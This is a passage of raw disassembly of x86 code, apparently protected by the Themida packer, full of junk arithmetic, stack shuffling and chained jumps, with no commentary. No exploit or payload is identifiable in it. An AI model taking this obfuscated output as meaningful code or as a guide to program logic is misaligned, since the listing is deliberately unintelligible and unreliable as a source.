XREF: sub_559C84+3DC8j mov ecx, [esp+4Eh+var_4E] jmp loc_556237 ; --------------------------------------------------------------------------- loc_5583D4: ; CODE XREF: sub_559C84-B7j or edx, ecx pop ecx inc edx inc edx xor edx, 16FF1FDFh sub eax, edx pop edx add eax, ebp push ebx mov ebx, 0A8D0B99h xor ebx, 23C465A7h shl ebx, 3 shr ebx, 4 xor ebx, 70951E79h add ebx, 0F7927748h add eax, ebx pop ebx pop ebp sub eax, 4 xor eax, [esp+42h+var_42] xor [esp+42h+var_42], eax xor eax, [esp+42h+var_42] mov esp, [esp+42h+var_42] mov [esp+42h+var_42], eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55841D: ; CODE XREF: sub_559C84+11D9j mov dx, word ptr [esp+42h+var_42] jmp loc_55D078 ; --------------------------------------------------------------------------- loc_558426: ; CODE XREF: sub_559C84+4AA6j push 30D6h mov [esp+46h+var_46], ebx mov ebx, esp add ebx, 4 jmp loc_5546A7 ; --------------------------------------------------------------------------- loc_55843B: ; CODE XREF: sub_559C84-2CEEj pop cx sub di, 0A035h add bx, di pop edi add bx, ax push dx mov dx, 5906h xor dx, 527Ah jmp loc_55AE32 ; --------------------------------------------------------------------------- loc_558459: ; CODE XREF: sub_559C84-543j sub ecx, 0FDCD7C7Ch add edx, ecx pop ecx jmp loc_55F8AE ; --------------------------------------------------------------------------- loc_558467: ; CODE XREF: sub_559C84+F4Cj pop ecx jmp loc_55E4CA ; --------------------------------------------------------------------------- loc_55846D: ; CODE XREF: sub_559C84+39FAj shr edx, 4 shr edx, 6 not edx add edx, 65EA2CFCh xor edx, 65C3310Ah add esi, edx pop edx push ecx jmp loc_55DF6D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55848A: ; CODE XREF: Themida_:00554A1Dj push esi mov esi, 58B31E98h shr esi, 8 shr esi, 2 jmp loc_55AF65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55849B: ; CODE XREF: sub_559C84-161Fj pop [esp+3Eh+var_3E] add [esp+3Ah+var_3A], 4 mov edx, [esp+3Ah+var_3A] add esp, 4 add edx, 4 sub esp, 4 jmp loc_55E198 ; --------------------------------------------------------------------------- loc_5584BC: ; CODE XREF: sub_559C84-B5Dj xor ch, 2Ah xor al, ch push [esp+3Ah+var_3A] mov ecx, [esp+3Eh+var_3E] jmp loc_556BFC ; --------------------------------------------------------------------------- loc_5584CC: ; CODE XREF: sub_559C84+50CAj mov ch, bl jmp loc_5593EB ; --------------------------------------------------------------------------- loc_5584D3: ; CODE XREF: sub_559C84-34ACj pop edx pop ebp jmp loc_55D099 ; --------------------------------------------------------------------------- loc_5584DA: ; CODE XREF: sub_559C84+3EE5j add al, bl push small 0E53h jmp loc_554540 ; --------------------------------------------------------------------------- loc_5584E5: ; CODE XREF: sub_559C84+323Aj push ecx mov ecx, 422E3DB2h add edx, ecx pop ecx sub edx, ebp sub edx, 422E3DB2h mov ebp, [esp+5Ah+var_5C+2] jmp loc_559C01 ; --------------------------------------------------------------------------- loc_5584FE: ; CODE XREF: sub_559C84+4119j sub al, 76h sub al, dh add al, 76h pop dx sub esp, 4 mov [esp+5Ch+var_5C], ebx mov bl, 6Ch xchg al, bl not al xchg al, bl jmp loc_5572C6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55851C: ; CODE XREF: Themida_:005569B7j pop ebx jmp loc_55D3A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558522: ; CODE XREF: sub_559C84+33BCj add byte ptr [esp+5Ch+var_5C], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55852B: ; CODE XREF: sub_559C84+1051j add edi, 4 jmp loc_5564AE ; --------------------------------------------------------------------------- loc_558533: ; CODE XREF: sub_559C84-4D06j sub edx, esi jmp loc_556802 ; --------------------------------------------------------------------------- loc_55853A: ; CODE XREF: sub_559C84+2D02j push ecx mov cl, 5Eh mov dh, cl push [esp+56h+var_58+2] pop ecx add esp, 4 not dh sub esp, 2 mov word ptr [esp+56h+var_58+2], bx push eax mov ah, dh mov bh, ah mov eax, [esp+5Ah+var_5C+2] add esp, 4 not bh mov dh, bh pop bx xor dh, 76h not dh push eax jmp loc_554F0B ; --------------------------------------------------------------------------- loc_558571: ; CODE XREF: sub_559C84+614j sub bl, 0E4h push ecx mov ch, 2 jmp loc_5562D3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55857C: ; CODE XREF: Themida_:00558EE0j sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] push ebp mov ebp, esp jmp loc_55C5EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55858E: ; CODE XREF: sub_559C84+5785j mov [esp+5Ch+var_5C], ebp push esp mov ebp, [esp+60h+var_60] add esp, 4 add ebp, 4 add ebp, 4 push ebp push [esp+60h+var_5C] pop ebp pop [esp+60h+var_60] mov esp, [esp+5Ch+var_5C] jmp loc_559BBA ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5585B5: ; CODE XREF: Themida_:0055F468j and ecx, 7D5C7E76h jmp loc_553B35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559A2E loc_5585C0: ; CODE XREF: sub_559A2E-4129j add esp, 4 push 2BABh mov [esp+0], ecx jmp loc_55B3AE ; END OF FUNCTION CHUNK FOR sub_559A2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5585D3: ; CODE XREF: sub_559C84+2170j add ebp, ecx pop ecx add ebp, 4 push ebp push [esp+5Ch+var_58] pop ebp pop [esp+5Ch+var_5C] pop esp add esp, 4 jmp loc_55C98B ; --------------------------------------------------------------------------- loc_5585EE: ; CODE XREF: sub_559C84-2F31j xor al, bl pop ebx sub bl, al pop ax push eax mov al, 0ADh dec al neg al or al, 0D4h sub al, 0A9h sub bl, al pop eax sub bl, al add bl, 2Bh jmp loc_5554C3 ; --------------------------------------------------------------------------- loc_55860D: ; CODE XREF: sub_559C84+B65j pop eax xor ecx, esi pop esi not ecx add ecx, 0E01042B3h jmp loc_55ED33 ; --------------------------------------------------------------------------- loc_55861E: ; CODE XREF: sub_559C84+1674j mov [esp+32h+var_34+2], ebp mov ebp, 21F9330Dh push ecx mov ecx, 36E310D6h shr ecx, 8 jmp loc_55D296 ; --------------------------------------------------------------------------- loc_558634: ; CODE XREF: sub_559C84+4806j mov edx, esp add edx, 4 push edi mov edi, 4 add edx, edi jmp loc_55A5AD ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5538DF loc_558649: ; CODE XREF: sub_5538DF+47A3j mov bh, 14h add dh, bh mov bx, [esp+2+var_2] add esp, 2 add cl, dh pop edx jmp loc_559375 ; END OF FUNCTION CHUNK FOR sub_5538DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5597C1 loc_55865C: ; CODE XREF: sub_5597C1+53j mov esi, [esp+0Ch+var_C] jmp loc_559BF3 ; END OF FUNCTION CHUNK FOR sub_5597C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558664: ; CODE XREF: sub_559C84+51Fj push esp jmp loc_55849B ; --------------------------------------------------------------------------- loc_55866A: ; CODE XREF: sub_559C84-1C64j push ecx mov ecx, esp push 559Fh jmp loc_55CB94 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558677: ; DATA XREF: Themida_:00553350o push small 459Eh mov [esp], sp jmp loc_55F4AD ; =============== S U B R O U T I N E ======================================= sub_558684 proc near ; DATA XREF: Themida_:00553470o lodsd cmp dword ptr [edi+20h], 0 jz loc_556718 sub esi, 45573859h sub esi, 3D5C6372h add esi, eax jmp loc_55BBBA sub_558684 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5586A2: ; CODE XREF: sub_559C84-A13j push eax mov eax, 579A7B68h mov edx, eax mov eax, [esp+30h+var_30] add esp, 4 dec edx inc edx not edx sub edx, 667726A4h jmp loc_556468 ; --------------------------------------------------------------------------- loc_5586C2: ; CODE XREF: sub_559C84+27BEj sub ebx, eax add ebx, 735B1EFCh sub ebx, 115F2119h push ecx mov ecx, esp push 6D9Eh jmp loc_55CD58 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5586DD proc near ; CODE XREF: sub_559C84-21FFj push ebx mov bl, 0E2h mov al, 35h jmp loc_55BABE sub_5586DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555D07 loc_5586E7: ; CODE XREF: sub_555D07+7F52j mov ebx, [esp+8+var_8] add esp, 4 sub ebp, 4EB963E7h add ebp, esi add ebp, 4EB963E7h mov esi, [esp+4+var_4] add esp, 4 push edi jmp loc_55AE80 ; END OF FUNCTION CHUNK FOR sub_555D07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55870A: ; CODE XREF: sub_559C84+80Dj pop ebx push edi jmp loc_55CCF5 ; --------------------------------------------------------------------------- loc_558711: ; CODE XREF: sub_559C84+3338j pop eax xchg esi, [esp+30h+var_30] pop esp mov [esp+2Ch+var_2C], eax xor [esp+2Ch+var_2C], edx jmp loc_5569BC ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557920 loc_558721: ; CODE XREF: sub_557920-691j mov ebx, ecx pop ecx sub ebx, 315A636Dh jmp loc_55EEDC ; END OF FUNCTION CHUNK FOR sub_557920 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55872F: ; CODE XREF: sub_559C84-1CF0j pop eax mov [edi+eax*4], ch mov ecx, [esp+4Ah+var_4A] add esp, 4 push [esp+46h+var_46] jmp loc_55790E ; --------------------------------------------------------------------------- loc_558741: ; CODE XREF: sub_559C84-3D4Ej xchg esi, [esp+4Eh+var_4E] jmp loc_55F26B ; --------------------------------------------------------------------------- loc_558749: ; CODE XREF: sub_559C84+2582j xchg ebx, [esp+4Eh+var_4E] pop esp mov [esp+4Ah+var_4A], edx push ecx jmp loc_55BEF7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_558756 proc near ; CODE XREF: sub_559C84+14FFj push ebp mov ebp, 2B2D1C06h add esi, ebp pop ebp jmp loc_55A0FE sub_558756 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558764: ; CODE XREF: sub_559C84+27F2j xchg eax, ebx not eax xchg eax, ebx jmp loc_55F383 ; --------------------------------------------------------------------------- loc_55876D: ; CODE XREF: sub_559C84+17CFj add ecx, 4 xchg ecx, [esp+4Eh+var_4E] jmp loc_55BBD5 ; --------------------------------------------------------------------------- loc_558778: ; CODE XREF: sub_559C84+11B3j mov ax, word ptr [esp+4Eh+var_4E] push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp+52h+var_52] pop esp jmp loc_55F5F0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555531 loc_558791: ; CODE XREF: sub_555531+1j mov ebp, 5138045Fh mov ebx, 0ADD63B47h jmp loc_55397D ; END OF FUNCTION CHUNK FOR sub_555531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5561B6 loc_5587A0: ; CODE XREF: sub_5561B6+70Ej sub ebx, 5DDDC170h add ebp, ebx jmp loc_55E7A9 ; END OF FUNCTION CHUNK FOR sub_5561B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555C35 loc_5587AD: ; CODE XREF: sub_555C35+1j not [esp+4+var_4] pop ebx push ebp mov ebp, 37AA3474h neg ebp neg ebp or ebp, 66FC7827h add ebp, 0B740D70Bh jmp loc_55C10C ; END OF FUNCTION CHUNK FOR sub_555C35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5587CC: ; CODE XREF: sub_559C84+50F8j pop eax add eax, ecx pop ecx jmp loc_557B03 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5587D5: ; CODE XREF: Themida_:00558128j add esp, 4 add al, 18h sub al, bl jmp loc_558162 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5587E1: ; CODE XREF: sub_559C84-3B28j add eax, ebp pop ebp xchg eax, [esp+3Ch+var_3E+2] pop esp mov fs:[edx], al jmp loc_557F0D ; --------------------------------------------------------------------------- loc_5587F0: ; CODE XREF: sub_559C84+55ADj sub esi, 4 xchg esi, [esp+38h+var_3A+2] pop esp jmp loc_55A47E ; --------------------------------------------------------------------------- loc_5587FC: ; CODE XREF: sub_559C84-2BCCj add edi, ebx pop ebx jmp sub_556D03 ; --------------------------------------------------------------------------- loc_558804: ; CODE XREF: sub_559C84-47BEj shr al, 4 jmp loc_55CF92 ; --------------------------------------------------------------------------- loc_55880C: ; CODE XREF: sub_559C84-3491j sub esi, 0B4779838h or ebx, esi pop esi not ebx not ebx not ebx or ebx, 58880FFEh jmp loc_55CEFB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558826: ; CODE XREF: Themida_:00556F53j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5557A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55883A: ; CODE XREF: sub_559C84+17BEj add esp, 4 push edx dec [esp+5Ch+var_5C] pop edx jmp loc_55F58E ; --------------------------------------------------------------------------- loc_558847: ; CODE XREF: sub_559C84-5CC4j add ebx, ebp pop ebp push ebx push [esp-2+arg_0+2] pop ebx pop dword ptr [esp+0] pop esp mov ax, word ptr [esp-0Ah+arg_4+2] push 1AC8h mov [esp-6+arg_0+2], esi push esp pop esi push ecx push ebx mov ebx, 4C164E09h push eax mov eax, 4C164E0Dh mov ecx, eax jmp loc_558969 ; --------------------------------------------------------------------------- loc_558876: ; CODE XREF: sub_559C84-631Dj push eax mov eax, esp add eax, 4 push ecx jmp loc_55F87B ; --------------------------------------------------------------------------- loc_558884: ; CODE XREF: sub_559C84-393Ej pop esi jmp loc_55B191 ; --------------------------------------------------------------------------- loc_55888A: ; CODE XREF: sub_559C84+4A8Cj add edx, edi mov edi, [esp+4Ah+var_4A] add esp, 4 push ebx mov ebx, 387F2671h jmp loc_558A6F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 push eax mov eax, 21F019D7h sub eax, 21F019D3h add esi, eax pop eax push ebx mov ebx, 73DF2D37h push edi mov edi, 6392BCAh xor edi, 0E9E503Ah dec edi xor edi, 20AF1456h add edi, 49880D3Dh jmp loc_55EE6F ; --------------------------------------------------------------------------- loc_5588E3: ; CODE XREF: Themida_:005558AEj mov ax, 21B5h push ax jmp loc_555796 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5588EE: ; CODE XREF: sub_559C84+312Bj push eax push 14904665h pop eax jmp loc_55C038 ; --------------------------------------------------------------------------- loc_5588FA: ; CODE XREF: sub_559C84+186Cj mov [esp+4Eh+var_4E], ecx push 29EE0926h pop ecx xor ecx, 5C540DD0h mov edx, ecx jmp loc_55A454 ; --------------------------------------------------------------------------- loc_558910: ; CODE XREF: sub_559C84+8A9j sub dl, 3Ch push ebx mov bl, dl mov ch, bl pop ebx mov edx, [esp+4Eh+var_4E] add esp, 4 jmp loc_55C81A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554572 loc_558924: ; CODE XREF: sub_554572+2E5j push edx mov edx, 2 add esi, 6D9363CFh add esi, edx push ecx mov ecx, 2BB2100Ch or ecx, 3BCA4296h jmp loc_55EBE5 ; END OF FUNCTION CHUNK FOR sub_554572 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558943: ; CODE XREF: sub_559C84+79j push 5C7Ah mov [esp+4Eh+var_4E], edi jmp loc_558313 ; --------------------------------------------------------------------------- loc_558950: ; CODE XREF: sub_559C84+4F2Bj or dl, 0CEh jmp loc_55EC75 ; --------------------------------------------------------------------------- loc_558958: ; CODE XREF: sub_559C84-2E29j pop ecx jmp loc_55DF36 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55895E proc near ; CODE XREF: sub_559C84+5F02j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055385D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055396C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055E35D SIZE 0000000F BYTES push ebp mov ebp, 4 jmp loc_55396C sub_55895E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558969: ; CODE XREF: sub_559C84-1413j pop eax jmp loc_55FB14 ; --------------------------------------------------------------------------- loc_55896F: ; CODE XREF: sub_559C84+168Ej push 5396h mov [esp+6+var_8+2], esi mov esi, 40DB5B55h jmp loc_5565FD ; --------------------------------------------------------------------------- loc_558981: ; CODE XREF: sub_559C84+2168j add ebp, edx pop edx jmp loc_557FCF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_55B188 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558991: ; CODE XREF: sub_559C84+3310j and al, 91h add al, 0BCh or al, 0D1h xor al, 87h jmp loc_55964B ; --------------------------------------------------------------------------- loc_55899E: ; CODE XREF: sub_559C84-46CEj push [esp+42h+var_3E] pop edx pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] push 1 push [esp+42h+var_42] pop eax sub esp, 4 mov [esp+46h+var_46], edx push esp jmp loc_55BC60 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5589C1 proc near ; DATA XREF: Themida_:00553454o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553973 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055658F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00558B37 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00559B17 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0055EEAE SIZE 0000002E BYTES lodsd add esi, 70DA160Ch add esi, 48060A1Dh add esi, eax sub esi, 48060A1Dh sub esp, 4 jmp loc_55658F sub_5589C1 endp ; --------------------------------------------------------------------------- loc_5589DE: ; CODE XREF: Themida_:005592C9j mov [esp], esp jmp loc_553E89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5589E6: ; CODE XREF: sub_559C84-5E9Ej mov ebx, [esp+0Ch+var_C] add esp, 4 add [esp+8+var_8], 4C950893h push ebp mov ebp, 7E5E3C9Ah add [esp+0Ch+var_8], ebp mov ebp, [esp+0Ch+var_C] push eax mov eax, esp add eax, 4 jmp loc_55EDD2 ; --------------------------------------------------------------------------- loc_558A0D: ; CODE XREF: sub_559C84+12FFj mov edx, 6E2A058Ch jmp loc_55AE3C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5571E4 loc_558A17: ; CODE XREF: sub_5571E4+33j push 32C4h mov [esp+4+var_4], esi jmp loc_557E0D ; END OF FUNCTION CHUNK FOR sub_5571E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558A24: ; CODE XREF: sub_559C84+1ECj add esp, 4 xor esi, 0ECC84E7Fh xor eax, esi pop esi xor ebx, eax sub edx, 25125115h sub edx, eax jmp loc_55C525 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5591C7 loc_558A3F: ; CODE XREF: sub_5591C7+Dj add edi, ebx jmp loc_554198 ; END OF FUNCTION CHUNK FOR sub_5591C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5559F0 loc_558A46: ; CODE XREF: sub_5559F0+F3Cj push edx mov edx, 4 add edi, edx pop edx sub esp, 4 mov [esp+8+var_8], ebx jmp loc_557294 ; END OF FUNCTION CHUNK FOR sub_5559F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558A5D: ; CODE XREF: sub_559C84+158Bj xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], eax push [esp+4+var_4] mov ebx, [esp+8+var_8] jmp sub_555835 ; --------------------------------------------------------------------------- loc_558A6F: ; CODE XREF: sub_559C84-13ECj dec ebx add ebx, 3A8ADA08h jmp loc_55BDDD ; --------------------------------------------------------------------------- loc_558A7B: ; CODE XREF: sub_559C84-60EEj push 37E7h mov [esp+32h+var_34+2], esi mov esi, 3F3A4300h sub esp, 4 mov [esp+0], edx mov edx, 37542766h and edx, 4BC67DE1h inc edx add edx, 6DE10057h mov ebx, edx jmp loc_555D19 ; --------------------------------------------------------------------------- loc_558AA7: ; CODE XREF: sub_559C84-97Aj mov edx, 0BFFFFB7Ah jmp loc_556445 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5599A2 loc_558AB1: ; CODE XREF: sub_5599A2+1j mov ebx, 0EE836AAh dec ebx shr ebx, 4 add ebx, 18732FB4h xor ebx, 186E2D38h sub ebx, 72F30652h sub ebx, 1DD57739h sub edx, ebx pop ebx shr edx, 3 xor edx, 7BC64FCFh sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, 29B77856h xor edx, ecx pop ecx jmp loc_55666C ; END OF FUNCTION CHUNK FOR sub_5599A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558AF4: ; CODE XREF: sub_559C84-1A85j pop edi xor ebx, edx pop edx sub edx, 1AE96CEBh add edx, ebx add edx, 1AE96CEBh pop ebx jmp loc_55351F ; --------------------------------------------------------------------------- loc_558B0C: ; CODE XREF: sub_559C84-820j xor ch, al pop eax xor ch, 0EEh and bh, ch jmp loc_55E446 ; --------------------------------------------------------------------------- loc_558B19: ; CODE XREF: sub_559C84+E87j dec ecx sub ecx, 65924DBEh push eax mov eax, 44AC60CEh xor ecx, eax pop eax add ecx, 0A159A897h add ebp, ecx pop ecx jmp loc_55E653 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5589C1 loc_558B37: ; CODE XREF: sub_5589C1+1179j pop ebp pop edx add ebp, 1F794246h dec ebp jmp loc_55EEAE ; END OF FUNCTION CHUNK FOR sub_5589C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558B45: ; CODE XREF: sub_559C84-48F0j sub edi, 7D7052D4h sub edi, 23D62CFAh add eax, edi mov edi, [esp+3Ch+var_3E+2] add esp, 4 jmp loc_55AC4F ; --------------------------------------------------------------------------- loc_558B61: ; CODE XREF: sub_559C84+29F4j xor ecx, edi jmp loc_5556EF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558B70: ; CODE XREF: sub_559C84-2283j pop ecx xor ecx, 56F442AAh inc ecx add ecx, 151927DAh mov edi, ecx pop ecx add ecx, edi jmp loc_5593B1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558B88: ; CODE XREF: Themida_:005566D2j add esp, 4 pop ecx jmp loc_5562DB ; =============== S U B R O U T I N E ======================================= sub_558B94 proc near ; CODE XREF: sub_559B47-507Cj var_2 = word ptr -2 push bx sub [esp+2+var_2], 0FFFFh pop bx jmp loc_55B54D sub_558B94 endp ; =============== S U B R O U T I N E ======================================= sub_558BA2 proc near ; CODE XREF: sub_55DC14-9C9Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055391C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00553AC8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00557852 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005578DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00558001 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055975F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055978F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055EAA8 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 0C57F45B7h jmp loc_558001 sub_558BA2 endp ; =============== S U B R O U T I N E ======================================= sub_558BB5 proc near ; DATA XREF: Themida_:00553440o var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00559C2A SIZE 00000015 BYTES mov cx, [esp+0] push edi push 412Fh mov [esp+8+var_8], esp push ebp mov ebp, 4 add [esp+0Ch+var_8], ebp jmp loc_559C2A sub_558BB5 endp ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_5554EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558BE5: ; CODE XREF: sub_559C84-3EB9j push esi jmp loc_5558CD ; --------------------------------------------------------------------------- loc_558BEB: ; CODE XREF: sub_559C84-648Fj mov ebx, [esp+24h+var_24] add esp, 4 add al, ch pop ecx push eax mov al, 0Ch push ecx mov ch, 69h neg ch sub ch, 1Fh add ch, 0D1h push ebx jmp loc_55A508 ; --------------------------------------------------------------------------- loc_558C08: ; CODE XREF: sub_559C84-C36j jmp loc_55351F ; --------------------------------------------------------------------------- loc_558C0D: ; CODE XREF: sub_559C84+20B7j mov eax, 5F672753h and eax, 50E2092Ah add eax, 0D74B78AFh neg eax jmp loc_55BAF9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558C23: ; CODE XREF: Themida_:0055353Aj add ebx, 4 push 4641h jmp loc_55D82C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558C33: ; CODE XREF: sub_559C84+4DEEj or eax, eax jz loc_55408F push 602Dh mov [esp+2Ch+var_2C], ebx jmp loc_55C723 ; --------------------------------------------------------------------------- loc_558C48: ; CODE XREF: sub_559C84-1EFDj pop edx jmp loc_55AB08 ; --------------------------------------------------------------------------- loc_558C4E: ; CODE XREF: sub_559C84+1455j mov edi, 1A93130Eh dec edi sub edi, 61D33751h jmp loc_55CE69 ; --------------------------------------------------------------------------- loc_558C5F: ; CODE XREF: sub_559C84-644Dj pop esp add esi, 4 push 14F6h mov [esp+30h+var_30], ebx jmp loc_5580AB ; --------------------------------------------------------------------------- loc_558C73: ; CODE XREF: sub_559C84+26D5j mov esi, esp jmp loc_556B05 ; --------------------------------------------------------------------------- loc_558C7A: ; CODE XREF: sub_559C84+1BE9j add di, 3699h pop esi xor ax, di mov di, word ptr [esp+2Ch+var_2C] jmp loc_55CEC3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_553ACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F9FD loc_558C95: ; CODE XREF: sub_55F9FD-9672j mov edx, 5739086Dh not edx add edx, 3A7E0502h shr edx, 8 sub edx, 0A3073DE0h sub esi, edx pop edx pop edi jmp loc_55C274 ; END OF FUNCTION CHUNK FOR sub_55F9FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558CB4: ; CODE XREF: sub_559C84+1FD7j add esp, 4 xor esi, 204C0EF3h or esi, 2534737Ch jmp loc_559309 ; --------------------------------------------------------------------------- loc_558CC8: ; CODE XREF: sub_559C84+43B7j push edi push esi mov esi, 66D65E03h push 4D107FD1h pop edi jmp sub_5598F1 ; --------------------------------------------------------------------------- loc_558CDA: ; CODE XREF: sub_559C84-6AAj sub ebx, 4 jmp loc_55D053 ; --------------------------------------------------------------------------- loc_558CE5: ; CODE XREF: sub_559C84-201Fj mov [esp+46h+var_46], eax push 7DD7510h pop eax shr eax, 5 and eax, 64E51EEEh dec eax sub eax, 0D87BB46Bh mov edx, eax jmp loc_557EAA ; --------------------------------------------------------------------------- loc_558D03: ; CODE XREF: sub_559C84+3BBEj sub edx, 625B15ECh sub edx, 523A148Ah add edx, eax add edx, 523A148Ah push ebx mov ebx, 26950C04h push esi mov esi, 0 jmp loc_555EB4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_558D28: ; CODE XREF: Themida_:0055F70Bj movzx ecx, al push ebp push esp pop ebp add ebp, 4 jmp loc_55675A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_558D39: ; CODE XREF: sub_559C84-6128j xor eax, ebx xor ebx, eax jmp loc_557C02 ; --------------------------------------------------------------------------- loc_558D42: ; CODE XREF: sub_559C84+220Fj mov esi, 6AD9274Eh jmp loc_55C4A5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] push esi jmp loc_553E20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 